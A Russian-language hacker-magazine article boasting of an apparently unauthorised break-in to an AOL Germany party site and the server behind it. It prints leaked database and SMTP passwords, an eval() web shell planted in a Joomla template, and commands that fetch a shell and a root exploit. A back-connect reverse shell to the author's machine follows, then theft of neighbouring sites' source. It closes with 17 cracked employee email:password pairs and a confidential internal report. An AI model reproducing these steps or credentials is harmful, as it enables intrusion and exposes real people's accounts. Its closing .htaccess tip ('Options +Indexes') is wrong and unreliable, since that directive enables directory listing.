Содержание статьи
Корпорация AOL всегда являлась лакомым кусочком для хакеров всех возможных
мастей. Смотри сам: миллионы зарегистрированных пользователей в AIM, AOL Mail и
ICQ, сотни офисов во всех уголках мира, миллиардный рынок рекламы и другие
ништяки, посмотреть на которые ты сможешь прямо с главной страницы aol.com
(Топ-50 по посещаемости среди сайтов во всем интернете).
Глядя на все это великолепие, ты не удивишься, что в один прекрасный день я
натравил свой XSpider 7.7 на одну из сетей AOL, находящуюся в диапазоне
64.12.0.0 - 64.12.255.255. Вот что из этого вышло...
Жертва detected
Из всего обилия айпишников корпорации, проживавших в указанном диапазоне,
первым делом меня привлек хост alex-aolde-mtc02.evip.aol.com, при ближайшем
рассмотрении оказавшийся неким сайтом http://alex.aol.de с окнами ввода логина и
пароля на главной странице. При первом же взгляде на ресурс стало ясно, что он
работает на CMS Joomla ветки 1.5.x.
Как известно, одним из лучших на сегодняшний день решений для поиска
уязвимостей в Джумле является входящий в проект OWASP "Joomla! Security/Vulnerability
Scanner" от ребят из YGN Ethical Hacker Group. Итак, скачав сканер, я запустил
его следующим образом:
C:/Perl/bin/perl5.12.1.exe C:/joomscan/joomscan.pl -u
http://alex.aol.de
Через несколько минут я получил примерно следующий результат:
* Deduced version range is : [1.5.12 - 1.5.14]
...
# 14
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Exploit: It requires an administrator to be logged in and to be tricked into a
specially crafted webpage.
Vulnerable? Yes
...
# 19
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities
Versions effected: Joomla! 1.5.12
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact
there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes
Ни одна из найденных "уязвимостей" ни на йоту не помогла мне приблизиться к
заветной цели взлома.
Помощь от OWASP
Осознав, что через Джумлу мне вряд ли удастся проникнуть на нужный сервер, я
решил просканировать скрытые от посторонних глаз директории и файлы ресурса с
помощью еще одного проекта OWASP – брутфорсера директорий DirBooster.
Запустив программу, я вписал следующие настройки:
Target URL: http://alex.aol.de/;
Work Method: Auto Switch (HEAD and GET);
Number Of Threads: 200;
Select starting options: Standard start point, Brute Force Dirs, Brute Force
Files;
File extension: php.
Далее я попробовал по очереди брутфорс со всеми словарями, входящими в
комплект поставки проги.
Из всех полученных результатов больше всего меня обрадовали следующие: ./info.php
(phpinfo), ./pma (phpMyAdmin) и директория ./dnld, содержащая в себе три файла (configuration.php,
phpMyAdmin-3.3.2-english.tar, wirwarendrin.tar).
Название 80-метрового архива wirwarendrin.tar меня обрадовало, так как на
главной странице alex.aol.de находилась ссылка на wirwarendrin.de, своего рода
зеркало аоловского ресурса.
Скачав указанный архив, я понял, что в нем находится полный бэкап нашего
сайта :).
Храните бэкапы в сберегательной кассе!
В архиве с бэкапом меня более всего заинтересовал файл конфига Джумлы
configuration.php, в котором хранились следующие интересные вещи:
<?php
class JConfig {
...
var $secret = 'NAAgXewXco6BSw2d';
...
var $host = 'localhost';
var $user = 'alex';
var $db = 'test';
...
var $smtpport = '465';
var $smtpuser = 'wirwarendrin';
var $smtppass = 'Briesben';
var $smtphost = 'smtp.aol.com';
...
var $password = 'wjedko,lg';
...
}
?>
Первым делом я залез в почтовый ящик wirwarendrin@aol.com, в который, как
оказалось, падали регистрационные данные юзеров alex.aol.de. Далее логичным
показалось попробовать использовать логин и пароль от мускула в phpMyAdmin, чем
я незамедлительно и занялся :).
Пароль для юзера alex, конечно же, подошел, так что для дальнейшей заливки
шелла оставалось два варианта: добавить нового админа в Джумлу или сбрутить
пароль существующего админа. Я выбрал второй вариант.
Брутфорс - быстро и легко!
Моей любимой программой для брутфорса различных хешей является PasswordsPro,
которая, в том числе, поддерживает и формат шифрования паролей Joomla! -
md5($pass.$salt).
Итак, скачав несколько самых больших словарей и зарядив их в PasswordsPro на
предмет брута соленого админского хеша
d86f4c81342b79c4bab8868656cabe46:t65HKT9iuoOUdvfIAD0JP0ynT6EpRHXb, я стал
терпеливо ждать.
После нескольких часов брутфорса прога выдала мне пароль для данного хеша –
qwertyzuaor, с которым я успешно и залогинился в alex.aol.de, а также в
alex.aol.de/administrator.
Кстати, как оказалось, ресурс alex.aol.de создавался одним из работников AOL
для координации проведения вечеринки среди сотрудников германского отделения
корпорации, на нем зарегистрировались и входили в курс дела около 450 бывших и
настоящих сотрудников AOL, так что далее я незамедлительно принялся заливать
шелл с помощью правки шаблонов Джумлы 🙂
AOL Inside
Шаблон для правки находился в админке по следующему пути: "Extensions –>
Template Manager –> aol-exit –> Edit HTML", сам же файл шаблона лежал в /data/servers/wahl-o-mat_aol_de/pages/alex_aol_de/templates/aol-exit/index.php.
В верхушку указанного файла я вставил небольшую кавайную конструкцию:
<?php
eval(stripslashes($_REQUEST[aaa]));
?>
Далее к этому делу оставалось набросать небольшой HTML-клиент:
<form action="http://alex.aol.de/templates/aol-exit/index.php" method="POST">
<input type="text" name="aaa"/>
<input type="submit" value="Pwn It!"/>
</form>
Первым делом с помощью утилиты wget я залил на сервер WSO-шелл в ту же
директорию templates под именем 404.php и смог с удобством просматривать все
файлы и директории (кстати, еще один косяк админа заключался в том, что
абсолютно все файлы и директории были открыты на запись).
Еще глубже!
В директории /data/servers сразу же можно было посмотреть на сайты-соседи
нашего alex.aol.de: editor.aol.fr, gat.aol.co.uk, sns.nexus.aol.com,
wahl-o-mat.aol.de, matrix.aol.de. Сильно разбираться с их строением и значением
я не стал, а попросту слил все исходники на винт своего дедика, предварительно
запаковав весь стафф с помощью следующей команды:
cd /data/servers;tar czvf /tmp/1.tgz ./*
Следующей целью, которую я себе поставил, было получение рута на данном
сервере, благо, старое и унылое ядро это позволяло:
Linux wahl-o-mat.aol.de 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT
2007 i686
Для начала мне был необходим интерактивный шелл, получить который мне помог
банальный перловый Back-connect к 31337 порту моего дедика в WSO (раздел Network)
и ставший притчей во языцех NetCat:
c:/netcat/nc.exe -l -p 31337
Получив искомое, я принялся за поиски нужного рутового сплоита на
http://www.exploit-db.com.
Таковым оказался, опять же, немецкий "wunderbar
emporium". Далее, после выполнения нехитрой последовательности команд, я и
получил заветное "uid=0(root) gid=0(root) groups=11560(httpd)":
wget http://www.grsecurity.net/~spender/wunderbar_emporium.tgz;tar xzfv
wunderbar_emporium.tgz;chmod 0777 ./*;./wunderbar_emporium.sh
Интересное
После получения привилегий рута мне почему-то захотелось просканить
внутреннюю сетку. Для этого я выполнил команду ifconfig и узнал, что в сети наш
сервак скрывается под адресом 10.62.134.80. Так что дальше с помощью rpm я
скачал и установил nmap:
rpm -vhU http://nmap.org/dist/nmap-5.21-1.i386.rpm
и запустил его следующим образом:
nmap -v -n -sS 10.62.134.0/24
Сейчас я не буду рассказывать о своих дальнейших действиях с сеткой немецкого
AOL, а покажу лишь парочку самых интересных отчетов сканера:
Nmap scan report for 10.62.134.89
Host is up (0.00013s latency).
Not shown: 986 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
1024/tcp open kdm
1041/tcp open unknown
1051/tcp open optima-vnet
1311/tcp open rxmon
1801/tcp open unknown
2099/tcp open unknown
2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open unknown
3389/tcp open ms-term-serv
MAC Address: 00:18:8B:74:52:6E (Dell)
...
Nmap scan report for 10.62.134.96
Host is up (0.00013s latency).
Not shown: 971 closed ports
PORT STATE SERVICE
22/tcp open ssh
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1024/tcp open kdm
1025/tcp open NFS-or-IIS
1027/tcp open IIS
1078/tcp open unknown
1112/tcp open msql
1311/tcp open rxmon
1801/tcp open unknown
2099/tcp open unknown
2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open unknown
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-term-serv
9998/tcp open unknown
13722/tcp open netbackup
13782/tcp open netbackup
13783/tcp open netbackup
49152/tcp open unknown
49153/tcp open unknown
MAC Address: 00:13:72:5A:3E:78 (Dell)
Как видишь, в AOL очень любят продукцию мелкомягкой компании :).
AOL Confidential
Закончим на сегодня с многострадальной внутренней сеткой AOL и продолжим с
вытащенными мной из базы данных Джумлы логинами и хешами работников корпорации.
Как я уже писал выше, PasswordsPro помог мне расшифровать хеш пароля админа
alex.aol.de. Но одним админом я не ограничился, а зарядил на брут и остальные
450 аккаунтов, из которых успешно сбрутились 197. Далее я стал потихоньку
проверять полученные пароли на предмет их подходимости к почте аоловцев. Вот
некоторые интересные работоспособные аккаунты:
guenterstaar guenterstaar@aol.com:keiness
thomaskuck thomaskuck@aol.com:sascha
mdfreedom99 marcdrewello@aol.com:Magic23
ClaudiaLangwald ClaudiaLangwald@aol.com:Silvera
bettyvonloesch bettyvonloesch@aol.com:hanne
Pierre PierreBeneHH@aol.com:wombast
Tenge Tenge@aol.com:derwis
JennySefkow JennySefkow@aol.com:varita
NinaRixenHH@aol.com NinaRixenHH@aol.com:brauere
Jennifer2706 jennifermatheja@aol.com:elite15
A.V.aus H. voigthh@googlemail.com:Delphines
fkorupp frederickorupp@googlemail.com:wasistdas
KrassowskiSabine@aol.de KrassowskiSabine@aol.de:Sommer44
neddie annettharksenhh@aol.de:hochzeis
Trixi seebertrixi@aol.de:sommer07
tringasvassiliki tringasvassiliki@aol.de:perikle
AgnesAB agnesboltzenhh@aol.de:April2008
Как видишь, пароли просто поражают своей простотой :).
В указанных почтовых ящиках находилось очень много забавных документов:
внутренние аоловские расписки, резюме работников, фотографии офисов, адреса,
телефоны, пароли к ebay и paypal (!), статистика и многое другое.
Вот лишь часть одного из внутренних документов с пометкой "Company
Confidential".
AOL Germany SNAPSHOT SUMMARY as of COB
Date : [2006-02-11]
Business :
AOL
GERMANY (AOL)
FOR [2006-02-11]
-Ending Members 2,687,173
-Registrations 1,824
-Reactivations 146
-Overhead Conversions 1
-Cancellations 1,472
-Terminations 549
-Net Change -50
-Customer Hours 7,301,418
-Total Hours 7,322,081
Как видно, в этой статистике содержится полная инфа по внутреннему
юзерообороту немецкого отделения корпорации за 2006-02-11 :).
Напоследок
На твоих глазах развилась очередная история взлома одного из сайтов крупной
компании, который произошел из-за банальной безалаберности и невнимательности
админа. Здесь я могу отметить несколько основополагающих факторов: хранение
бэкапа в общедоступном месте, доступность phpMyAdmin'а для внешних
пользователей, старое ядро, открытость файлов и директорий на запись и
предсказуемые пароли. Надеюсь, после прочтения сего опуса ты никогда не
повторишь глупейших ошибок работников AOL :).
INFO:
Чтобы защитить внутренние директории твоего сайта от любопытных глаз, советую
в чувствительные директории кинуть .htaccess с одной единственной строчкой:
Options +Indexes
А чтобы защитить вообще все файлы такой директории от доступа извне, пропиши
еще и вот это:
Order Deny, Allow
Deny from all
WWW
-
http://yehg.net/lab/pr0js/files.php/joomscan.pl – Joomla! Security/Vulnerability
Scanner -
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project – OWASP
DirBuster Project -
http://www.insidepro.com/eng/passwordspro.shtml – PasswordsPro -
http://www.web-hack.ru/download/?case=info&go=100 – NetCat